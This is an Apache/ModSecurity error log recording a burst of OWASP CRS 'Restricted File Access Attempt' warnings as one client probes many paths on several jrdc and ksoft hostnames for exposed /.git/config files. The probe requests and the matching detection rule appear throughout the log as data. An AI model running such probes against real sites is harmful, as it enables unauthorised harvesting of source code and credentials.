[Fri Jul 17 08:36:34.605385 2026] [security2:error] [pid 2018758:tid 2018758] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /frontend/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/frontend/.git/config"] [unique_id "almcOoRpm5MObcED3Q9qQgAAABE"]
[Fri Jul 17 08:36:34.605691 2026] [security2:error] [pid 2018758:tid 2018758] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/frontend/.git/config"] [unique_id "almcOoRpm5MObcED3Q9qQgAAABE"]
[Fri Jul 17 08:36:34.606010 2026] [security2:error] [pid 2018758:tid 2018758] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/index.html"] [unique_id "almcOoRpm5MObcED3Q9qQgAAABE"]
[Fri Jul 17 08:36:34.606520 2026] [security2:error] [pid 2018757:tid 2018757] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /blog/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/blog/.git/config"] [unique_id "almcOkkXT4NBqALj2lZ6VQAAABA"]
[Fri Jul 17 08:36:34.606844 2026] [security2:error] [pid 2018757:tid 2018757] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/blog/.git/config"] [unique_id "almcOkkXT4NBqALj2lZ6VQAAABA"]
[Fri Jul 17 08:36:34.607192 2026] [security2:error] [pid 2018757:tid 2018757] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/index.html"] [unique_id "almcOkkXT4NBqALj2lZ6VQAAABA"]
[Fri Jul 17 08:36:34.607457 2026] [security2:error] [pid 2018758:tid 2018758] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /blog/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/blog/.git/config"] [unique_id "almcOoRpm5MObcED3Q9qQwAAABE"]
[Fri Jul 17 08:36:34.607883 2026] [security2:error] [pid 2018758:tid 2018758] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/blog/.git/config"] [unique_id "almcOoRpm5MObcED3Q9qQwAAABE"]
[Fri Jul 17 08:36:34.608257 2026] [security2:error] [pid 2018758:tid 2018758] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/index.html"] [unique_id "almcOoRpm5MObcED3Q9qQwAAABE"]
[Fri Jul 17 08:36:34.608336 2026] [security2:error] [pid 2018758:tid 2018758] [client 2.57.122.13:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ksoftweb-global": Permission denied [hostname "www.jrdc.ksoft.web.lk"] [uri "/index.html"] [unique_id "almcOoRpm5MObcED3Q9qQwAAABE"]
[Fri Jul 17 08:36:34.608359 2026] [security2:error] [pid 2018758:tid 2018758] [client 2.57.122.13:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ksoftweb-ip": Permission denied [hostname "www.jrdc.ksoft.web.lk"] [uri "/index.html"] [unique_id "almcOoRpm5MObcED3Q9qQwAAABE"]
[Fri Jul 17 08:36:34.609152 2026] [security2:error] [pid 2018759:tid 2018759] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /microservices/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/microservices/.git/config"] [unique_id "almcOiQk8BZ0iVFZXo_s2QAAABI"]
[Fri Jul 17 08:36:34.609387 2026] [security2:error] [pid 2018759:tid 2018759] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/microservices/.git/config"] [unique_id "almcOiQk8BZ0iVFZXo_s2QAAABI"]
[Fri Jul 17 08:36:34.609510 2026] [security2:error] [pid 2018757:tid 2018757] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /frontend/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/frontend/.git/config"] [unique_id "almcOkkXT4NBqALj2lZ6VgAAABA"]
[Fri Jul 17 08:36:34.609596 2026] [security2:error] [pid 2018759:tid 2018759] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/index.html"] [unique_id "almcOiQk8BZ0iVFZXo_s2QAAABI"]
[Fri Jul 17 08:36:34.609818 2026] [security2:error] [pid 2018757:tid 2018757] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/frontend/.git/config"] [unique_id "almcOkkXT4NBqALj2lZ6VgAAABA"]
[Fri Jul 17 08:36:34.610098 2026] [security2:error] [pid 2018757:tid 2018757] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/index.html"] [unique_id "almcOkkXT4NBqALj2lZ6VgAAABA"]
[Fri Jul 17 08:36:34.611385 2026] [security2:error] [pid 2018759:tid 2018759] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /packages/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/packages/.git/config"] [unique_id "almcOiQk8BZ0iVFZXo_s2gAAABI"]
[Fri Jul 17 08:36:34.611628 2026] [security2:error] [pid 2018759:tid 2018759] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/packages/.git/config"] [unique_id "almcOiQk8BZ0iVFZXo_s2gAAABI"]
[Fri Jul 17 08:36:34.611793 2026] [hostinglimits:warn] [pid 2018759:tid 2018759] mod_hostinglimits: Error on LVE enter: LVE(1038) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/a0191fd9863fa1c0a9cd7cca0530204df24178be.sock|fcgi://jrdcback.ksoft.web.lk) HOSTNAME(www.jrdcback.ksoft.web.lk) URL(/index.php) TID(2018759) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:36:34.611935 2026] [security2:error] [pid 2018759:tid 2018759] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "almcOiQk8BZ0iVFZXo_s2gAAABI"]
[Fri Jul 17 08:36:34.612148 2026] [security2:error] [pid 2018756:tid 2018756] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /administrator/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/administrator/.git/config"] [unique_id "almcOlj3APi97Jc9pUXW4wAAAA8"]
[Fri Jul 17 08:36:34.612462 2026] [security2:error] [pid 2018756:tid 2018756] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/administrator/.git/config"] [unique_id "almcOlj3APi97Jc9pUXW4wAAAA8"]
[Fri Jul 17 08:36:34.612788 2026] [security2:error] [pid 2018756:tid 2018756] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/index.html"] [unique_id "almcOlj3APi97Jc9pUXW4wAAAA8"]
[Fri Jul 17 08:36:34.615552 2026] [security2:error] [pid 2018757:tid 2018757] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /www/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/www/.git/config"] [unique_id "almcOkkXT4NBqALj2lZ6VwAAABA"]
[Fri Jul 17 08:36:34.615836 2026] [security2:error] [pid 2018759:tid 2018759] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /backend/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdcback.jrdc.lk"] [uri "/backend/.git/config"] [unique_id "almcOiQk8BZ0iVFZXo_s2wAAABI"]
[Fri Jul 17 08:36:34.615848 2026] [security2:error] [pid 2018758:tid 2018758] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /public/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/public/.git/config"] [unique_id "almcOoRpm5MObcED3Q9qRAAAABE"]
[Fri Jul 17 08:36:34.615905 2026] [security2:error] [pid 2018757:tid 2018757] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/www/.git/config"] [unique_id "almcOkkXT4NBqALj2lZ6VwAAABA"]
[Fri Jul 17 08:36:34.616021 2026] [security2:error] [pid 2018759:tid 2018759] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdcback.jrdc.lk"] [uri "/backend/.git/config"] [unique_id "almcOiQk8BZ0iVFZXo_s2wAAABI"]
[Fri Jul 17 08:36:34.616133 2026] [hostinglimits:warn] [pid 2018759:tid 2018759] mod_hostinglimits: Error on LVE enter: LVE(1031) HANDLER(application/x-httpd-ea-php81) HOSTNAME(www.jrdcback.jrdc.lk) URL(/index.php) TID(2018759) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:36:34.616191 2026] [security2:error] [pid 2018758:tid 2018758] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/public/.git/config"] [unique_id "almcOoRpm5MObcED3Q9qRAAAABE"]
[Fri Jul 17 08:36:34.616266 2026] [security2:error] [pid 2018757:tid 2018757] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/index.html"] [unique_id "almcOkkXT4NBqALj2lZ6VwAAABA"]
[Fri Jul 17 08:36:34.616568 2026] [security2:error] [pid 2018758:tid 2018758] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/index.html"] [unique_id "almcOoRpm5MObcED3Q9qRAAAABE"]
[Fri Jul 17 08:36:34.616785 2026] [security2:error] [pid 2018759:tid 2018759] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdcback.jrdc.lk"] [uri "/index.php"] [unique_id "almcOiQk8BZ0iVFZXo_s2wAAABI"]
[Fri Jul 17 08:36:34.618377 2026] [security2:error] [pid 2018759:tid 2018759] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /www/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/www/.git/config"] [unique_id "almcOiQk8BZ0iVFZXo_s3AAAABI"]
[Fri Jul 17 08:36:34.618478 2026] [security2:error] [pid 2018757:tid 2018757] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /libs/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/libs/.git/config"] [unique_id "almcOkkXT4NBqALj2lZ6WAAAABA"]
[Fri Jul 17 08:36:34.618604 2026] [security2:error] [pid 2018759:tid 2018759] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/www/.git/config"] [unique_id "almcOiQk8BZ0iVFZXo_s3AAAABI"]
[Fri Jul 17 08:36:34.618713 2026] [hostinglimits:warn] [pid 2018759:tid 2018759] mod_hostinglimits: Error on LVE enter: LVE(1038) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/a0191fd9863fa1c0a9cd7cca0530204df24178be.sock|fcgi://jrdcback.ksoft.web.lk) HOSTNAME(www.jrdcback.ksoft.web.lk) URL(/index.php) TID(2018759) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:36:34.618853 2026] [security2:error] [pid 2018759:tid 2018759] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "almcOiQk8BZ0iVFZXo_s3AAAABI"]
[Fri Jul 17 08:36:34.619507 2026] [security2:error] [pid 2018756:tid 2018756] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /frontend/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdcback.jrdc.lk"] [uri "/frontend/.git/config"] [unique_id "almcOlj3APi97Jc9pUXW5AAAAA8"]
[Fri Jul 17 08:36:34.619817 2026] [security2:error] [pid 2018756:tid 2018756] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdcback.jrdc.lk"] [uri "/frontend/.git/config"] [unique_id "almcOlj3APi97Jc9pUXW5AAAAA8"]
